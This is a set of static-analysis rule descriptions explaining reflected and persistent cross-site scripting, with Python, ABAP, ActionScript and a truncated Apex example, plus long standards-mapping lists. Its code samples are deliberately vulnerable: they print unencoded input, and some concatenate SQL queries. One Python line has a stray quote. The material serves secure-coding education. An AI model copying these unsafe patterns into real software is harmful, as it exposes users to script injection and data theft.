1. Data enters a cloud-hosted web application through an untrusted source. In the case of Inter-Component Communication Cloud XSS, the untrusted source is data received from other components of the cloud application through communication channels provided by the cloud provider.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Python code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Python code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_inter_component_communication__cloud_
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ABAP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following ABAP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ActionScript code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following ActionScript code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_persistent
Abstract
Sending unvalidated data to the web browser may lead to the execution of malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent XSS, an untrusted source is most frequently the results of a database query, and in the case of Reflected XSS - a web request.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content usually is a segment of JavaScript code, but can also be HML, Flash or any other active content that might be executed by the browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Apex code segment queries a database for a contact name with a given ID and returns the corresponding employee's name, which later gets printed by the Visualforce code.


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

